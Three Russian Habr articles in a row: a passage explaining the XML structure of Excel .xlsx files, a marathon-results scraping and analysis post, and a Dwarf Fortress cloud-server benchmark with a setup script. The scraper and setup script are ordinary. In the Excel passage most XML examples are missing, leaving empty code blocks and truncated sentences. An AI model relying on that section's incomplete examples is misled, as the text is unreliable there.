Здесь уже вместо атрибута **activeCell** стоит **activeCellId**, потому что в атрибуте **sqref** мы видим несколько диапазонов. исходя из этого выясняем, что активный диапазон является A1:C3. на изображении ниже показано, как выглядит такой вариант выделения ячеек.
Выделенные ячейкиПро тег **pane**, **sheetFormatPr** и **cols** хорошо рассказано в [статье](https://habr.com/ru/post/347616/) от [**@Lachrimae**](/users/lachrimae)**:**
> Собственно, закрепление строки — тег . И вот какие здесь использованы атрибуты:
>
> **ySplit** — показывает количество закрепленных *строк*. Для закрепления столбцов есть аналогичный атрибут **xSplit**;
>
> **topLeftCell** — указание левой верхней ячейки, видимой по умолчанию НЕзакрепленной области;
>
> **activePane** — указание местонахождения НЕзакрепленной области. В руководствах сказано, что этот атрибут регулирует, с какой стороны будет НЕзакрепленная область. Правда, попробовав разные значения, я почему-то получил одинаковый результат. Как вариант «**by default**» я для себя выбрал ***bottomRight***;
>
> **state** — указатель состояния закрепленной области. Для простого закрепления строки используется значение *frozen*
>
> Тег . Пример:
>
>
> Интересен нам здесь в основном атрибут ***defaultRowHeight***, то есть высота столбца по умолчанию. Стандартный, привычный нам вариант — **15** у.е. Если назначить его, скажем, **30** у.е., то строки, для которых высота не указана отдельно, станут в 2 раза выше. Однако, для того чтоб применить значение, отличное от дефолтного, необходимо указать атрибут ***customHeight*** со значением «**true**». Выглядит это примерно так:
>
>
> Тег . Помогает установить ширину столбцов отличную от дефолтной. В заполненном виде выглядит примерно так:
>
> Вложенные теги обозначают не каждый один столбец, как могло показаться, а группу столбцов, идущих подряд и имеющих единую ширину.
>
> Атрибут **min** — первый столбец группы;
>
> Атрибут **max** — последний столбец группы;
>
> Атрибут **width** — ширина столбца из группы;
>
> Атрибут **customWidth** — флаг применения кастомной ширины, без него ширина все равно будет дефолтной;
>
>
Тег **sheetData** - описание содержимого ячеек и их настроек.
здесь структура такова:
```
1
0
1
2
1
2
SUM(A1:E1)
2
```
В Excel это будет выглядеть вот так:
Ячейки с даннымиДавайте разбираться, что же все-таки в коде происходит.
Мы видим два тега **row** - это наши строки. У каждой есть атрибут **r** - это номер строки. Атрибут **spans** означает сколько столбцов задействовано, **dyDescent** - вертикальное расстояние в пикселях между ячейками. Атрибут **ht** устанавливает высоту всей строки в пунктах, а тег **customHeight** говорит, что мы используем нестандартную высоту строки.
В теге **row** есть теги **c** - это ячейки в строке. у каждого тега есть атрибут **r** - означающий позицию ячейки. Но атрибут **t** - присутствует не у всех, потому что запись **t="s"** - означает, что у ячейки установлен тип строки, а у кого этого атрибута нет - тип устанавливается стандартный - числовой. Еще у тегов **c** может присутствовать атрибут **s**, в котором записывается номер применяемого к ячейке стиля из файла **xl/styles.xml** *(мы доберемся до него позже).*
Внутри тегов **c** есть теги **v** - это наши значения, записываемые в ячейки. Но не все так просто. Те значения, которые находятся в теге **c** без атрибута **t** - те значения записываются без изменений, т.е. записывается в ячейку само число из тега **v**, а вот те значения, которые находятся в теге **c** с атрибутом **t** - уже обрабатываются по-другому: в теге **v** записан порядковый номер строки в файле **xl/sharedStrings.xml** *(мы доберемся до него позже)*. В ячейку уже записывается строка, которая имеет порядковый номер, записанный в теге **v**.
Но мы можем заметить, что одна ячейка имеет помимо тега **v** еще тег **f**. Это тег с формулой, в данном случае формула означает: сумма ячеек от A1 до E1. А в теге **v** записан уже посчитанный ответ. Делать это не обязательно, но если не записать - то при открытии документа excel предложит сохранить изменения, т.к. он сам автоматически посчитал и записал этот результат.
С тегом **sheetData** разобрались, идем дальше.
Про теги **mergeCells** и **autoFilter** снова обратимся к [статье](https://habr.com/ru/post/347616/) от [**@Lachrimae**](/users/lachrimae)**:**
> Тег .
>
> Как мы знаем, в Excel есть возможность объединения ячеек. Все объединенные ячейки на листе перечислены здесь. В заполненном виде тег выглядит примерно так:
>
>
```
```
> Как видно, одна объединенная ячейка обозначена одним тегом с единственным атрибутом **ref**, задающим диапазон объединения.
>
>
> Тег . Фильтры, которые так любят видеть в отчетах наши пользователи. В заполненном виде тег выглядит так:
>
>
> Нетрудно понять, что атрибут **ref** задает зону, занимаемую активными ячейками фильтров.
>
>
Тег **printOptions** - параметры печати. Атрибут **headings** - означает, что будут печататься заголовки, а атрибут **gridLines** - что будут печататься линии сетки.
Тег **pageMargins** задает поля сверху, снизу, справа, слева, у заголовков и у подвала для печатаемой страницы.
Тег **pageSetup** предпочтительные настройки бумаги, опять же, для печати.
Атрибут **paperSize** - устанавливает размер бумаги.
Используемые значения:
| Значение | Описание |
| --- | --- |
| 16 | 10 в. x 14 в. |
| 17 | 11 в. x 17 в. |
| 8 | A3 (297 мм x 420 мм) |
| 9 | A4 (210 мм x 297 мм) |
| 10 | A4 Small (210 мм x 297 мм) |
| 11 | A5 (148 мм x 210 мм) |
| 12 | B4 (250 мм x 354 мм) |
| 13 | A5 (148 мм x 210 мм) |
| 24 | Лист размеров C |
| 25 | Лист размеров D |
| 20 | Конверт #10 (4-1/8 в. x 9-1/2 в.) |
| 21 | Конверт #11 (4-1/2 в. x 10-3/8 in.) |
| 22 | Конверт #12 (4-1/2 в. x 11 in.) |
| 23 | Конверт #14 (5 в. x 11-1/2 в.) |
| 19 | Конверт #9 (3-7/8 в. x 8-7/8 in.) |
| 33 | Конверт B4 (250 мм x 353 мм) |
| 34 | Конверт B5 (176 мм x 250 мм) |
| 35 | Конверт B6 (176 мм x 125 мм) |
| 29 | Конверт C3 (324 мм x 458 мм) |
| 30 | Конверт C4 (229 мм x 324 мм) |
| 28 | Конверт C5 (162 мм x 229 мм) |
| 31 | Конверт C6 (114 мм x 162 мм) |
| 32 | Конверт C65 (114 мм x 229 мм) |
| 27 | DL конверта (110 мм x 220 мм) |
| 36 | Конверт (110 мм x 230 мм) |
| 37 | Envelope Monarch (3-7/8 in. x 7-1/2 in.) |
| 38 | Конверт (3-5/8 в. x 6-1/2 in.) |
| 26 | Лист размеров E |
| 7 | Executive (7-1/2 в. x 10-1/2 in.) |
| 41 | Немецкий юридический фанфолд (8-1/2 в. x 13 in.) |
| 40 | Немецкий юридический фанфолд (8-1/2 в. x 13 in.) |
| 39 | Стандартный фанфолд США (14-7/8 в. x 11 in.) |
| 14 | Фолио (8-1/2 в. x 13 in.) |
| 4 | Книга (17 в. x 11 in.) |
| 5 | Юридический (8-1/2 в. x 14 in.) |
| 1 | Письмо (8-1/2 в. x 11 in.) |
| 2 | Letter Small (8-1/2 in. x 11 in.) |
| 18 | Примечание (8-1/2 в. x 11 in.) |
| 15 | Quarto (215 мм x 275 мм) |
| 6 | Заявление (5-1/2 в. x 8-1/2 in.) |
| 3 | Таблоид (11 в. x 17 in.) |
| 256 | Пользовательский |
Атрибут **pageOrder** - направление печати. Если значение **"overThenDown"** - то будет печататься слева направо, потом нижняя часть снова слева направо и т.д. Если такого атрибута нет - то печататься будет сначала вся левая сторона сверху-вниз, потом та часть, что справа и т.д.
Атрибут **orientation** - задает ориентацию листов. **"portrait"** - портретная (вертикальная) ориентация, **"landscape"** - альбомная (горизонтальная) ориентация.
Атрибут **blackAndWhite** - если установлена **1** ил **true** - лист будет напечатан в черно-белом варианте.
Атрибут **draft** - если установлена **1** ил **true** - лист будет напечатан без графики.
Атрибут **cellComments** - печать комментариев к ячейкам. Используемые значения:
* **AsDisplayed** - Распечатать Комментарии Как отображается;
* **AtEnd** - Печать в конце;
* **None** - Не печатать.
Атрибут **errors ~~-~~** Печать обработки ошибок.
* **Blank** -Показать ошибки ячейки как пустые;
* **Dash** - Ошибки ячейки Dash;
* **Displayed** - Отображение ошибок ячейки;
* **NA** - Отображает "NA".
Атрибут **r:id** - идентификатор настроек.
Разбор xl/caclChain.xml
-----------------------
По традиции, начнем с содержимого файла:
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
```
Здесь нам важна строка 3. видим тег **c** - наша ячейка, у нее есть атрибут **r** - адрес ячейки. Индексный атрибут **i** указывает индекс листа, с которым связана ячейка.
Разбор xl/sharedStrings.xml
---------------------------
Обратимся к [статье](https://habr.com/ru/post/347616/) от [**@Lachrimae**](/users/lachrimae)**:**
> Представим, что у нас есть таблица, заполненная строковыми данными, и что она большая. При этом крайне маловероятно, что все значения в ней будут уникальны. Некоторые из них нет-нет, да повторятся где-нибудь в разных частях таблицы. Хранить такой массив «как есть» внутри XML-разметки листа нерационально с точки зрения ресурсов ПК. Поэтому все строковые значения вынесены в отдельный файл, **/xl/sharedStrings.xml**. Часть его, которая нас интересует, выглядит, допустим, так:
>
>
```
Вася
Петя
Саша
```
> Обратите внимание на атрибуты тега **«count»** и **«uniqueCount»**: их значения различаются. Дело в том, что в книге одну из строк я использовал дважды. При этом атрибуты не обязательны, то есть если их убрать, то Excel ошибки не выдаст, но при сохранении файла нарисует опять.
>
> Здесь же можно сказать, что здесь, внутри тега можно играть с настройками шрифта. Для этого используется доработанная напильником система ***пробегов***, применяемая в MS Word (до него мы еще доберемся). Выглядит это примерно так:
>
>
```
Мама
мыла
раму
```
> Обратите внимание: в корневой тег в предыдущем примере был встроен непосредственно тег , содержавший текст. Здесь же он обернут тегом , то есть **Run**; по-русски его принято назвать **«пробег»**. **Пробег** — это, если в двух словах — кусок текста, имеющий одинаковые стилевые настройки.
>
> В этом примере строковое значение содержит 3 пробега. Чтобы было удобнее их рассматривать, я, пожалуй, вынесу их отдельными сорсами.
>
> *Первый:*
>
>
```
Мама
```
> Этот пробег не содержит секции , поэтому использует стилевые настройки ячейки, в которой находится. В нем интересно другое: атрибут ***xml:space=«preserve»***. Дело в том, что по умолчанию что Excel, что Word обрезают концевые пробелы со всех пробегов. Может показаться, что в этом случае в месте стыка пробегов всегда должна получаться примерно такая картина: "**Вася***Петя"*. Но по опыту общения с тем же MS Word мы знаем, что это не так. Из-за чего? Вот как раз из-за **xml:space=«preserve»**.
>
> *Второй:*
>
>
```
мыла
```
> Здесь нет атрибута **xml:space=«preserve»**. Нам без разницы, что Excel сделает с концевыми пробелами, которых нет. Зато есть блок . В принципе, в него можно поместить любые настройки шрифта, которые только есть в Excel. Я же сделал всего один, чтобы не раздувать объем примера.
>
> *Третий:*
>
>
```
раму
```
> А здесь у нас есть и блок настроек шрифта, и сохранение концевых пробелов.
>
> Ну и еще коротенькая ремарка. Если есть необходимость сделать многострочную запись в ячейке, то здесь в строке просто будет обычный символ переноса, **chr(10)**. Сам атрибут многострочности ячейки расположен в файле разметки листа. В однострочной ячейке символ переноса будет проигнорирован. Excel просто сделает вид, что его нет.
>
>
Добавлю: каждый тег **si** имеет порядковый номер, начиная с 0. Он нигде не записывается. Этот номер и записывается в файле **xl/worksheets/sheet1.xml** в теге **sheetData**, который мы рассматривали [ранее](#tagSheetData).
Разбор xl/styles.xml
--------------------
Снова обратимся к [статье](https://habr.com/ru/post/347550/) от **[@Lachrimae](/users/lachrimae).** Буду добавлять от себя дополнительную информацию.
> Как нетрудно догадаться, здесь хранится информация об оформлении ячеек. Причем в угоду оптимизации, хранится она в достаточно интересном виде. Файл состоит из следующих секций:
>
> 1. Шрифты:
>
>
```
```
> Как можно понять, здесь перечислены только уникальные стили оформления текста, использованные в книге. Каждый тег — один стиль. Вложенные теги — особенности стиля, такие как полужирное написание (тег ), кегль () и другие.
>
>
На месте тега можно написать:
* - курсив;
* - подчеркнутый,
либо - двойное подчеркивание;
* - зачеркнутый;
* - надстрочный текст,
либо - подстрочный текст;
либо сочетание нескольких тегов.
Если хотите установить цвет шрифта какой-нибудь свой (возьмем #123456), то в теге **color** вместо атрибута **theme** пишем **rgb** и вставляем hex-код цвета, должно получиться вот так:
> 2. Заливка ячеек:
>
>
```
```
> Как видно, первый вариант — без заливки вообще, а второй — сплошная заливка библиотечного цвета «**gray125**».
>
>
Здесь тот же принцип с установкой своего цвета, только немного по-другому записывается:
```
```
Тег **fgcolor** - отвечает за цвет переднего плана, а **bgcolor** - за цвет заднего плана (**indexed="64"** - черный цвет).
У тега **patternFill** атрибут **patternType** может иметь следующие значения:
* **none** - Нет заливки;
* **solid** - Сплошная заливка; (пример выше)
* **darkGray** - Серый 75%;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейкиЗдесь мы можем наблюдать, что цвета расположены в сетку
* **mediumGray** - Серый 50%;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейкиЗдесь сетка уже поменьше и цвет из тега **fgcolor** уже меньше прорисовывается.
* **lightGray** - Серый 25%;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейкиЗдесь сетка еще меньше и цвет из тега **fgcolor** еще меньше прорисовывается.
* **gray125** - Серый 12.5%;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейкиПосыл, думаю, понятен
* **gray0625** - Серый 0.025%
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **darkHorizontal** - Полосатый цвет с горизонтальными линиями;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **darkVertical** - Полосатый цвет с вертикальными линиями;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **darkDown** - Полосатый цвет с диагональными линиями сверху-вниз;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **darkUp** - Полосатый цвет с диагональными линиями снизу-вверх;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **darkGrid** - Диагональный клетчатый;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейкиВ этом варианте сетки четко видно, клетки цветов одинаковые и их поровну. Как шахматная доска
* **darkTrellis** - Толстый диагональный клетчатый;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **lightHorizontal** - Полосатый цвет с горизонтальными тонкими линиями;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **lightVertical** - Полосатый цвет с вертикальными тонкими линиями;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **lightDown** - Полосатый цвет с диагональными тонкими линиями сверху-вниз;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **lightUp** - Полосатый цвет с диагональными тонкими линиями снизу-вверх;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **lightGrid** - Тонкий горизонтальный клетчатый;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
* **lightTrellis** - Тонкий диагональный клетчатый;
Пример
```
```
Цвет выглядит вот так:
Цвет ячейки
Можно еще заливку сделать градиентом:
* Горизонтальный, вертикальный, диагональный:
Примеры2 цвета:
```
```
градиент 2 цветаАтрибут **degree** - угол поворота, изменяя который можно менять направление градиента.
3 цвета:
```
```
Градиент 3 цвета
* От угла:
ПримерыОт левого верхнего угла
```
```
Градиент от углаОт правого верхнего угла - в тег **gradientFill** добавить атрибуты **left="1" right="1"**, чтобы получилось:
От левого нижнего угла - в тег **gradientFill** добавить атрибуты **bottom="1" top="1"**;
От правого нижнего угла - в тег **gradientFill** добавить атрибуты **bottom="1" top="1" left="1" right="1"**;
* От центра:
```
```
Градиент от центра
> 3. Границы:
>
>
```
```
> Как видно, одно наименование здесь состоит из пяти элементов, 4 основных границы и диагональная, то есть все то, что можно настроить через GUI самого Excel.
>
>
Атрибут **style** означает стиль границы и может иметь следующие значения:
* **thin** – тонка сплошная;
* **hair** – мелкая пунктирная;
* **dotted** – точечная пунктирная;
* **dashed** – пунктирная линия;
* **dashDot** – пунктир линия точка;
* **dashDotDot** – пунктир линия точка точка;
* **double** – двойная сплошная;
* **medium** – сплошная средней толщины;
* **mediumDashed** – пунктирная линия средней толщины;
* **mediumDashDot** – пунктир линия точка средней толщины;
* **mediumDashDotDot** – пунктир линия точка точка средней толщины;
* **slantDashDot** – косая пунктир линия точка средней толщины;
* **thick** – сплошная большой толщины.
Для установки цвета границы используйте уже известную нам запись:
Чтобы установить диагональную границу, нужно в тег **diagonal** записать атрибуты:
* **diagonalDown="1"** - для границы сверху-вниз;
* **diagonalUp="1"** - для границы снизу вверх.
Должно получиться:
```
```
Ну и не забудьте внутри тега **diagonal** записать цвет для границы - тег **color.**
> 4. Стили ячеек:
>
>
```
```
> А вот здесь надо объяснить подробнее. Когда в файле листа мы будем указывать стиль ячейки, мы будем ссылаться как раз на эту секцию. Каждый тег , представляющий собой один стиль, является собранием ссылок на предыдущие секции, то есть он сам по себе не содержит объявления шрифта, границ и заливки. Рассмотрим интересные атрибуты ближе:
>
> **-** **numFmtId** — указание формата текста в ячейке (дата, валюта, число, текст, ...). Полный перечень этих типов есть [здесь](https://msdn.microsoft.com/en-us/library/documentformat.openxml.spreadsheet.numberingformat(v=office.14).aspx)
>
> **-** **fontId, fillId, borderId** — ссылка на шрифт/заливку/границы (см. секцию 1, 2 и 3 соответственно). Нумерация начинается с 0.
>
> **- applyFont, applyFill, applyBorder** — указание на то, что при оформлении этой ячейки вообще используется кастомный шрифт/заливка/границы. По умолчанию 0, так что можно не указывать вообще, как видно на примере в элементе #0.
>
> **-** **applyAlignment** — указание на то, что выравнивание текста в ячейке будет отличаться от стандартного. По умолчанию 0, но если указано «1», то в родительский тег встраивается тег , как видно на примере начиная с #1.
>
>
В теге **alignment** могут быть атрибуты:
* **horizontal** - выравнивание текста в горизонтальной плоскости. Может иметь значения: **left** – по левому краю, **center** – по центру, **right** – по правому краю, **justify** – по ширине, **fill** - заполнение, **distributed** – распределенное
* **vertical** - выравнивание текста по вертикали. Значения: **top** – по верхнему краю, **center** – по центру, **bottom** – по нижнему краю, **justify** – по высоте, **distributed** – распределенное
* **textRotation** - угол поворота текста. Если установить 255 - то текст будет вертикальный.
* **wrapText="1"** - перенос текста
Разбор xl/workbook.xml
----------------------
Из [статьи](https://habr.com/ru/post/347550/) от **[@Lachrimae](/users/lachrimae):**
> Основное его назначение — манифест, то есть перечень листов, из которых наша книга Excel, собственно, и состоит.
> Выглядит этот перечень, к примеру, так:
>
>
```
```
> Это значит, что в книге 4 листа, и их имена указаны в атрибутах name. Каждому тегу должен соответствовать файл в папке %file%/xl/worksheets. Excel сам знает, как должны называться эти файлы и при попытке их переименовать, сочтет всю книгу поврежденной.
>
>
Разбор [Content\_Types].xml
---------------------------
Содержимое файла может быть следующим:
```
xml version="1.0" encoding="UTF-8" standalone="true"?
```
В этом файле прописываются определения типов всех файлов и их расположения.
Как видно, здесь записываются все файлы листов, стилей, строковых значений, формул и т.д.
Если в документе вы не используете, к примеру, формул, то строки 13 не будет записано.
### Завершение
Я разобрал основные моменты содержания файла excel. Если вам будет интересно узнать про диаграммы и другие возможности excel - пишите в комментариях, я постараюсь сделать дополнение к этой статье из ваших просьб.
Каждому человеку свойственно ошибаться. Если я чего-любо не раскрыл или раскрыл не полностью, либо с ошибками - поправьте меня.
Если вам также будет интересно - напишу статью, как манипулировать с файлами excel посредством PHP/Java/Ruby.
Спасибо за внимание и уделенное время этой статье. | https://habr.com/ru/post/593397/ | null | ru | null |
# Заметки Дата Сайентиста: как измерить время забега марафона лежа на диване
[](https://habr.com/ru/company/ruvds/blog/512884/)
Продолжая цикл заметок про реальные проблемы в Data Science, мы сегодня разберемся с живой задачей и посмотрим, какие проблемы нас ждут в пути.
Например, помимо Data Science, я давно увлекаюсь атлетикой и одной из целей в беге для меня, конечно, является марафон. А где марафон там и вопрос — за сколько же бежать? Часто ответ на этот вопрос дается на глаз — «ну в среднем бегут» или «вот Х хорошее время»!
И сегодня мы займемся важным делом — применим Data Science в реальной жизни и ответим на вопрос:
**А что нам говорят данные о московском марафоне?**
Точнее, как уже понятно по таблице в начале — мы соберем данные, разберемся, кто и как бежал. А заодно это поможет понять, стоит ли нам соваться и позволит здраво оценить свои силы!
TL;DR: Я собрал данные по забегам московского марафона за 2018/2019, проанализиворовал время и показатели участников, а код и данные выложил в открытый доступ.
Сбор данных
-----------
Путем шустрого гугления мы обнаружили результаты прошлых пары лет, [2019](https://results.runc.run/event/absolute_moscow_marathon_2019/finishers/distance/52/page/1/) и [2018](https://results.runc.run/event/absolute_moscow_marathon_2018/finishers/distance/1/) годов.
Внимательно посмотрел на веб страницу, стало понятно, что данные довольно просто достать — нужно лишь разобраться, какие классы за что отвечают, например, класс “results-table\_\_col-result”, понятное дело, за результат и тд.
Осталось понять — как достать все данные оттуда.
И это, оказывается, несложно, ибо тут есть прямая пагинация и собственно мы итерируем по всему отрезку чисел. Бинго, выкладываю собранные данные за 2019 и 2018 год здесь, если кому-то интересно для последующего анализа, то сами данные можно скачать здесь: [здесь](https://github.com/SergeyParamonov/HabraData/blob/master/moscow_marathon_results_2018.csv) и [здесь](https://github.com/SergeyParamonov/HabraData/blob/master/moscow_marathon_results_2019.csv).
С чем тут пришлось повозиться
-----------------------------
* Страница не отдает ошибок — если что-то идет не так, никто не посигналит, сайт просто отдает какие-то данные (например, повторяет прошлую страницу с результатами).
* В какой-то момент сервер решает, что он устал и перестает отдавать данные и виснет — проблема решается с помощью «поспать и продолжить сбор с прошлой точки».
* Url-магия — сайт что-то мудрит со ссылками, и нельзя просто поменять год в url и получить результаты другой гонки — приходится ручками через поиск искать и перепроверять, что мы действительно получаем свежие данные — иначе отгружает молча данные последнего года.
* В какой момент я собирал данные и параметризовал скрипт сбора данных годом — запустил и стал собирать — через час другой у меня было четыре датасета за 2016, 2017… и оказалось, что страница молча отдавала данные за 2019 год — потому что в том месте год вообще игнорировался, что было совершенно неожиданно — вывод стоит всегда проверять такие вещами руками, а не только постфактум — хотя и постфактум, конечно, надо проверять данные.
* Здесь есть несколько типов NA: DNF, DQ, "-" — придется проводить анализ и перепроверять, и чистить данные, иначе на выходе мусор.
* Типы данных: время здесь — это timedelta, но из-за перезапусков и невалидных значений приходится поработать с фильтрами и очисткой временных значений, чтобы мы оперировали над чистыми временными результатами для подсчета средних значений — все результаты здесь — это усреднение по тем, кто финишировал и у кого зафиксировано валидное время.
А вот и код спойлера, если кто-то решит продолжить собирать интересные беговые данные.
**Код парсера**
```
from bs4 import BeautifulSoup
import requests
from tqdm import tqdm
def main():
for year in [2018]:
print(f"processing year: {year}")
crawl_year(year)
def crawl_year(year):
outfilename = f"results_{year}.txt"
with open(outfilename, "a") as fout:
print("name,result,place,country,category", file=fout)
# parametorize year
for i in tqdm(range(1, 1100)):
url = f"https://results.runc.run/event/absolute_moscow_marathon_2018/finishers/distance/1/page/{i}/"
html = requests.get(url)
soup = BeautifulSoup(html.text)
names = list(
map(
lambda x: x.text.strip(),
soup.find_all("div", {"class": "results-table__values-item-name"}),
)
)
results = list(
map(
lambda x: x.text.strip(),
soup.find_all("div", {"class": "results-table__col-result"}),
)
)[1:]
categories = list(
map(
lambda x: x.text.strip().replace(" ",""),
soup.find_all("div", {"class": "results-table__values-item-country"}),
)
)
places = list(
map(
lambda x: x.text.strip(),
soup.find_all("div", {"class": "results-table__col-place"}),
)
)[1:]
for name, result, place, category in zip(names, results, places, categories):
with open(outfilename, "a") as fout:
print(name, result, place, category, sep=",", file=fout)
if __name__ == "__main__":
main()
```
```
Анализ времени и результатов
----------------------------
Перейдем к анализу данных и собственно результатов забега.
Использовались pandas, numpy, matplotlib и seaborn — все по классике.
Помимо средних значений по всем массивам, мы отдельно рассмотрим следующие группы:
* Мужчины — так как я вхожу в эту группу мне интересны именно эти результаты.
* Женщины — для симметрии.
* Мужчины до 35 — это условно одна из самых «соревновательных» групп и понятно, что сравнивать мне стоит именно с ними — так как я в этой группе.
* Отдельно посмотрим на 2018 и 2019 годы — а вдруг что поменялось?.
Сначала бегло глянем на таблицу ниже — здесь еще раз, чтобы не скроллить: участников стало больше, 95% в среднем добегает до финиша и большая часть участников мужчины. Хорошо, это значит, что в среднем я в основной группе и данные в среднем должно хорошо отображать среднее время для меня. Продолжаем.
Как мы видим средние показатели за 2018 и 2019 практически не изменились — примерно 1.5 минуты стали быстрее бегуны в 2019 году. Разница между интересующими меня группами незначительна.
Перейдем к распределениям целиком. И сначала к общему времени забега.
Как мы видим пик прямо перед 4 часами — это условная отметка для любителей «пробежать хорошо» = «выбежать из 4-х часов», данные подтверждают народную молву.
Далее, посмотрим, как в среднем изменилась ситуация за год.
Как мы видим фактически вообще ничего не поменялось — распределения выглядят фактически идентичными.
Далее рассмотрим распределения по полу:
В целом оба распределения нормальные с чуть разным центром — мы видим, что пик на мужском так же проявляет себя на основном (общем) распределении.
Отдельно перейдем к самой интересной для меня группе:
Как мы видим принципиально картина такая же, как и в целом в мужской группе.
Отсюда делаем вывод, что 4 часа для меня тоже являются хорошим средним временем.
Изучаем улучшения участников 2018 → 2019
----------------------------------------
Из интересностей: я почему-то думал, что сейчас быстренько соберу данных и можно углубиться в анализ, искать там закономерности часами и тд. Оказалось все наоборот, сбор данных оказался сложнее самого анализа — по классике работа с сетью, сырыми данными, очисткой, форматирование, приведение типов и тд заняло куда больше времени — чем анализ и визуализация. Не стоит забывать, что мелочи отнимают немного времени — но их [мелочей] совсем не мало и в конце они-то и скушают весь ваш вечер.
Отдельно хотелось посмотреть, а как улучшили свои результаты люди, которые участвовали оба раза, путем сопоставления данных между годами мне удалось установить следующее:
* 14 человек участвовали оба года и ни разу не финишировали
* 89 человека добежали в 18 м, но не смогли в 19
* 124 наоборот
* Те, кто смогли добежать оба раза в среднем улучшили на 4 минуты свой результат
Но тут оказалось довольно интересно все:
То есть в среднем люди чуть чуть улучшают результаты — но вообще разброс невероятный и в обе стороны — то есть хорошо надеяться, что будет лучше — но судя по данным, получается вообще как угодно!
Выводы
------
Я сделал для себя следующие выводы из проанализированных данных
* В целом 4 часа — хорошая цель «в среднем».
* Основная группа бегущих — как раз уже в самом соревновательном возрасте (и одной группе со мной).
* В среднем люди чуть чуть улучшают свой результат, но вообще судя по данным там как попадет вообще.
* Средние результаты всего забега примерно одинаковые оба года.
* С дивана очень комфортно рассуждать о марафоне.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=param&utm_content=rundata#order) | https://habr.com/ru/post/512884/ | null | ru | null |
# Результаты тестирования производительности облачных серверов с помощью Dwarf Fortress
[Dwarf Fortress](http://bay12games.com/dwarves) — легендарная игра, детально симулирующая фэнтезийный мир, а игрок (в одном из режимов) может строить и управлять поселением (крепостью) гномов (дворфов). Про игру написано достаточно, поэтому я не буду вдаваться в подробности. Важно, что из-за большого размера игрового мира и высокой детализации симуляции, игра довольно требовательна к ресурсам — как процессору, так и памяти/кэшу. Игра поддерживает все три основные операционные системы.
Для игры существует проект DFHack, занимающийся реверс-инжинирингом структур данных игры и позволяющий создавать плагины и скрипты на C++, Lua или Ruby.
Я же являюсь автором приложения и сопутствующего серверного кода, полностью реализующего пользовательский интерфейс игры на устройствах под управлением iOS. То есть пользователь ставит оригинальную игру, плагин и приложение, и может играть удалённо с мобильного устройства со всеми удобствами.
Сервер можно установить как у себя дома, так и арендовать у одного из облачных провайдеров. Так и родилась идея этого исследования — во-первых, узнать, какой из облачных сервисов лучше подходит и может быть рекомендован пользователям в первую очередь, и во-вторых, собственно сравнить производительность серверов, используя что-то отличное от веб-серверов и специальных утилит.
Для тестирования была использована версия Dwarf Fortress / DFHack 0.43.03-r1. У меня имеется публичный образ для Docker, включающий саму игру и минимальную версию DFHack (а так же собственно серверный код для удаленной игры, но в данном случае он не используется). Был написан скрипт на Lua, запускающий тесты и отсылающий результаты на веб-сервер. Также для автоматизации был использован следующий скрипт, указываемый в user-data при конфигурации серверов. То есть требовалось просто создать сервер, подождать, пока придут результаты и удалить его.
```
#!/bin/bash
fallocate -l 4G /swp ; chmod 600 /swp ; mkswap /swp ; swapon /swp ; echo '/swp none swap sw 0 0' >>/etc/fstab
apt-get update
apt-get install -fy docker.io
apt install unzip
wget https://github.com/mifki/dfremote-cloud-benchmark/raw/master/benchmark.lua
wget http://mifki.com/a/t/gloveloved.zip
unzip gloveloved.zip -d save/
docker run --name=df -dt -v $PWD/save:/df_linux/data/save -v $PWD/benchmark.lua:/df_linux/hack/scripts/benchmark.lua mifki/dfremote
sleep 5
docker exec df /df_linux/dfhack-run benchmark server_name
```
Тестировались следующие провайдеры: Digital Ocean, Amazon Lightsail, Amazon EC2, Vultr, Linode, Google Compute Engine, и Macbook Pro Late 2013 2Ghz Core i7.
Если облачный сервис поддерживает создание сервера с Docker в один клик, то использовалась эта возможность, если нет — то выбиралась версия Ubuntu 16.04. Таким образом, только у Vultr была использована не Ubuntu, а CentOS 7. Для серверов с больше, чем 2гб памяти, своп-файл не использовался. Для Google Compute Engine micro и small выбирался SSD диск.
Были выбраны наиболее дешевые варианты серверов, во-первых, потому что они более интересны тем, кто собирается использовать их для игры, а во-вторых, потому что Dwarf Fortress всё равно использует для симуляции только одно ядро процессора и (в указанной версии) является 32-битным приложением.
### Тесты
Процесс игры в Dwarf Fortress состоит из двух частей — генерации мира и начальной истории, при которой можно указать размер мира и длину истории (и другие параметры), и собственно игрового процесса. Последовательно, без перезапуска игры, выполнялись следующие тесты:
1. Генерация мира очень маленького (smaller) размера с очень длинной (very long) историей.
2. Генерация мира большого (large) размера с короткой (short) историей.
3. Игровой процесс. Использовался один из “групповых” (когда много человек играют по очереди) сэйвов — glovedloved (Anethadefíni, 254). Выбор не так важен, покуда в нем достаточно большая крепость, и ничего, что бы автоматически остановило игру, не происходит за время теста, который длился 20 внутриигровых дней.
Последний тест наиболее важен, во-первых, потому что это собственно игровой процесс, ради которого всё и происходит, а во-вторых, он менее подвержен влиянию случайностей, чем генерация мира (при которой случайным образом генерируются цивилизации, поселения, ландшафт, события и так далее).
### Результаты
Вот график. Время выполнения в секундах, соответственно, меньше — лучше. Цены за месяц в долларах США.
Сразу виден неестественный разброс в результатах первого теста, не знаю точно, с чем это связано. Полагаю, отчасти с кэшированием, отчасти с низкой производительностью только что созданного сервера по каким-то причинам. Поэтому результаты отсортированы по последнему тесту, который, как отмечалось, наиболее важный. Второй тест тоже в целом соотносится с результатами третьего.
